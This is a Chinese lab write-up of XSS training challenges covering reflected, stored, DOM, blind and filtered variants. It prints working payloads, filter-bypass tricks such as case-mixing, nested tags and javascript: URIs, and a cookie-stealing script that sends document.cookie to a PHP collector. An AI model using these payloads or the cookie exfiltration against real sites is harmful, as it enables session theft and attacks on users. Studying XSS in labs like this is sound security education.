XSS跨站脚本

本文详细介绍了XSS跨站脚本的类型,包括反射性XSS、存储型XSS和DOM型XSS,并通过实例展示了它们的利用方式。同时,文章探讨了XSS的防范措施,如输入过滤和输出转义。通过实例展示了如何通过反射型和存储型XSS获取用户cookie,以及如何通过DOM型XSS进行攻击。

XSS(跨站脚本)

XSS是一种发生在前端浏览器端的漏洞,危害对象也是前端用户,形成XSS漏洞的主要原因是程序对输入输出没有做合适的处理,导致精心构造的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理。

  • 输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入。
  • 输出转义:根据输出点的位置对输出到前端的额呢绒进行适当转义。

反射性xss(get)

随意输入字符串,回显who is xxx,i don’t care
f12查看,允许输入最大长度为20.
捕获.PNG
更改一下可输入长度,输入一个简单的xss语句:<script>alert("XSS")</script>
发现可以解析,即存在xss漏洞。
捕获.PNG
观察源码可知,它将提交的信息重新发送回来,后台没有对我们提交的信息做任何的漏洞。GET型的xss,一般将带有xss的url伪装后发送给目标即可。
如果是post型xss,无法直接使用url的方式进行攻击。

利用

需要一个接受cookie的服务器(127.0.0.1:80),来接收受害主机的cookie。

<?php
$cookie=$_GET['cookie'];
 #fp=$fopen("cookie.txt","a");
fwirte($fp,"Cookie:".$cookie."/n")
?>
  • 构造一个xss攻击的js代码
    <script>window.open("http://127.0.0.1/getcookie.php?cookie="+document.cookie);</script>
    新弹出窗口成功获取到cookie。但是cookie.txt中并没有存储到cookie值……
    1

反射型xss(post)

post型漏洞一般是使用表单方式进行提交,无法直接使用url进行攻击。
可以通过html页面方式提交,构造一个自己的post丢到自己的网站上
随意输入字符提交,发现它并未在url中进行提交,说明我们不能将恶意代码嵌入到url中发送。
1

[1(img-smJCgyCa-1631499360112)(https://i.loli.net/2020/11/04/Tk6q81ICzpZtLdu.png)]

http中get和post的基本区别:
get方式在客户端通过url提交数据,数据在url中可以看到;
Post方式,数据放置在html header内提交,数据在url中看不到。
get只能传输比较少的数据,安全性较低,post传输数据较多。
我们可以构造一个带有表单提交的页面,让用户在登录完成后去点击,就可以盗取用户的cookie里。

存储型xss

存储型xss下攻击者可以将脚本注入到后台存储起来构成更加持久的危害。
存储型xss又称永久型xss。
1.打开实验,页面是一个留言板,尝试输入1111,发现输入被存储。输入单引号双引号尖括号,发现可以正常输出,说明后台没进行过滤。
捕获.PNG
2.注入<script>alert("XSS")</script> 提交后会出现弹窗,每次刷新页面时都会弹出,与反射型xss的区别是:存储型xss已经被存储进后台代码中,所以每次刷新都会弹出XSS弹窗。所以存储型xss危害更大,会长久危害用户。
11

DOM型xss

DOM:是一个一个访问html的标准编程接口,DOM是一个前端接口,没有和后端做任何的交互。(图百度的)
1
DOM相当于在前端提供了一个通过JS去对HTML进行操作的接口。通过DOM的某些方法对树进行操作,比如对标签的添加改变删除等操作。
11注:该段JS代码通过getElementById获取到标签Id为text的内容赋值给str,然后将str内容通过字符串拼接的方式写在a标签的href属性中,a标签会写到Id为dom的div标签中。
输入' onclick="alert('xss')"
1输入'><img src="#" onmouseover="alert('xss')">
1
os: 有意思
造成DOM型XSS的原因是前端的输入被DOM给获取到了,通过DOM又在前端输出,跟反射型和存储型比起来,它是不经过后台交互的。

DOM型xss-x

11注解:定义一个domxss函数,利用window.location.search获取浏览器中url内容,后赋值给str,经过url解码和字符串分隔,取出url中参数内容,再把"+“替换为” "(空格),赋值给xss,最后把xss拼接到a标签中,然后写到Id为dom的div标签中。
跟前面的DOM不同的是,它的输入是从浏览器的URL中获取的,很像反射型XSS(get).

XSS之盲打

题:
1
随便输入后,屏幕回显没啥有用的信息。
输入一条xss语句试一试
提示登录admin后台,果然被弹。
1这应该也是存储型XSS,因为后台输入这数据是被保留了的。

XSS过滤

题:
1没过滤特殊字符,输入一串xss试试<script>alert("shabi")</script>
1输入的部分被过滤(这是看了wp才明白的,一直以为是跟DOM似的呢)
一些绕过xss过滤的方法:

  • 前端限制绕过,直接抓包重放或修改html前端代码
  • 大小写混合
  • 拼凑:<scri<script>pt>alert("111")</scri</script>pt>
  • 使用注释进行干扰:<scri<!--test-->pt>alert(111)</sc<!--test-->ript>
  • 转义字符,将xss语句转义成十六进制\x的状态
  • UBB标签
  • 关闭标签
  • HEX编码绕过

本题中,利用大小写混写来绕过过滤<SCrIPT>alert(1)</ScRiPt>:
1## XSS之htmlspecialchars
htmlspecialchars()函数把预定义的字符转换为HTML实体:

  • & 转为&amp
  • " 转为 &quot
  • ' 转为 &#039
  • < 转为 &It
  • > 转为 &gt
    输入字符'"<>111,试探看一下是不是都被转换了:
    1很明显,只有单引号没被转义,如果构造一个只有单引号的句子,就可以弹了。a' onclick='alert(123)'
    1

此外我发现在alert()内输入字母,则不会弹窗而是直接跳到了apache版本号的一页,我也不知道咋回事。

XSS之href输出

题:
1随便输入,查看代码:
1不能闭合,查看一下源码吧,发现用了htmlspecialchars()函数
1财通有关协议的代码来绕过:javascript:alert(1) // JavaScript伪协议
1

XSS之js输出

(XSS这里终于要刷完了,真累挺,各种xss攻击让我长见识,都是脑子,咋人家就那么厉害呢)
题:
1这题我会,可以闭合script,然后插入xss。
x'</script><script>alert("XSS")</script>
1成功!芜湖!进步了……

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值